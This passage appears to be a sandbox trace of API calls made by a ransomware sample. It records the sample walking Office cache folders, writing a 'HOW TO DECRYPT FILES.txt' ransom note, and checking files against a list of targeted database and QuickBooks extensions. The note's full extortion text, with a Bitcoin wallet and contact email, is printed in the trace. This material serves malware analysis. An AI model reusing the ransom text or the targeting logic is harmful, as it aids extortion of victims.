hFindFile=0x4f6000, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0057.466] lstrcmpA (lpString1=".", lpString2="All Users") returned -1 [0057.466] lstrcmpA (lpString1="..", lpString2="All Users") returned -1 [0057.466] PathFindFileNameA (pszPath="C:\\MSOCache\\*.*") returned="*.*" [0057.466] lstrcatA (in: lpString1="C:\\MSOCache\\", lpString2="All Users" | out: lpString1="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users" [0057.467] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6040, dwReserved1=0x4f603b, cFileName=".", cAlternateFileName="")) returned 0x4f7088 [0057.539] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.539] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.559] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.559] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.559] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0057.559] lstrcmpA (lpString1=".", lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C") returned -1 [0057.559] lstrcmpA (lpString1="..", lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C") returned -1 [0057.559] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.559] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" [0057.559] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f70c8, dwReserved1=0x4f70c3, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.561] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.561] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.561] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.561] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.561] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0057.561] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.561] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ExcelLR.cab") returned -1 [0057.561] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ExcelLR.cab") returned 1 [0057.561] lstrcmpiA (lpString1="", lpString2="ExcelLR.cab") returned -1 [0057.561] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.561] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0057.561] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="" [0057.561] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.562] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.562] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.597] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.597] CloseHandle (hObject=0x88) returned 1 [0057.598] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="ExcelLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" [0057.598] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x4f93b8, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0057.598] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ExcelMUI.msi") returned -1 [0057.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ExcelMUI.msi") returned 1 [0057.598] lstrcmpiA (lpString1="", lpString2="ExcelMUI.msi") returned -1 [0057.598] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned="ExcelLR.cab" [0057.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0057.598] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="" [0057.599] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.599] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.599] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="ExcelMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" [0057.599] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0057.599] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.599] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ExcelMUI.xml") returned -1 [0057.599] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ExcelMUI.xml") returned 1 [0057.599] lstrcmpiA (lpString1="", lpString2="ExcelMUI.xml") returned -1 [0057.599] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned="ExcelMUI.msi" [0057.599] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0057.599] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="" [0057.599] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.599] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.600] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="ExcelMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" [0057.600] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.600] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.600] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.600] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.600] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.600] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned="ExcelMUI.xml" [0057.600] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" [0057.600] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\") returned="" [0057.600] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.600] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.600] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.600] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.601] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.601] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0057.601] lstrcmpA (lpString1=".", lpString2="{90140000-0018-0409-1000-0000000FF1CE}-C") returned -1 [0057.601] lstrcmpA (lpString1="..", lpString2="{90140000-0018-0409-1000-0000000FF1CE}-C") returned -1 [0057.601] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.601] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0018-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" [0057.601] lstrlenA (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned 62 [0057.601] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.608] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.608] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.608] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.608] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.608] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0057.608] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.608] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PowerPointMUI.msi") returned -1 [0057.608] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PowerPointMUI.msi") returned -1 [0057.608] lstrcmpiA (lpString1="", lpString2="PowerPointMUI.msi") returned -1 [0057.608] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.608] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0057.608] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="" [0057.608] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.608] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.609] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.609] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.609] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.610] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.610] CloseHandle (hObject=0x88) returned 1 [0057.611] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="PowerPointMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.ems") returned 0 [0057.611] lstrlenA (lpString="*.ems") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.db") returned 0 [0057.611] lstrlenA (lpString="*.db") returned 4 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.dbf") returned 0 [0057.611] lstrlenA (lpString="*.dbf") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.myox") returned 0 [0057.611] lstrlenA (lpString="*.myox") returned 6 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.myo") returned 0 [0057.611] lstrlenA (lpString="*.myo") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qbw") returned 0 [0057.611] lstrlenA (lpString="*.qbw") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qbb") returned 0 [0057.611] lstrlenA (lpString="*.qbb") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qbm") returned 0 [0057.611] lstrlenA (lpString="*.qbm") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qbo") returned 0 [0057.611] lstrlenA (lpString="*.qbo") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qbx") returned 0 [0057.611] lstrlenA (lpString="*.qbx") returned 5 [0057.611] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qba") returned 0 [0057.612] lstrlenA (lpString="*.qba") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qby") returned 0 [0057.612] lstrlenA (lpString="*.qby") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qbj") returned 0 [0057.612] 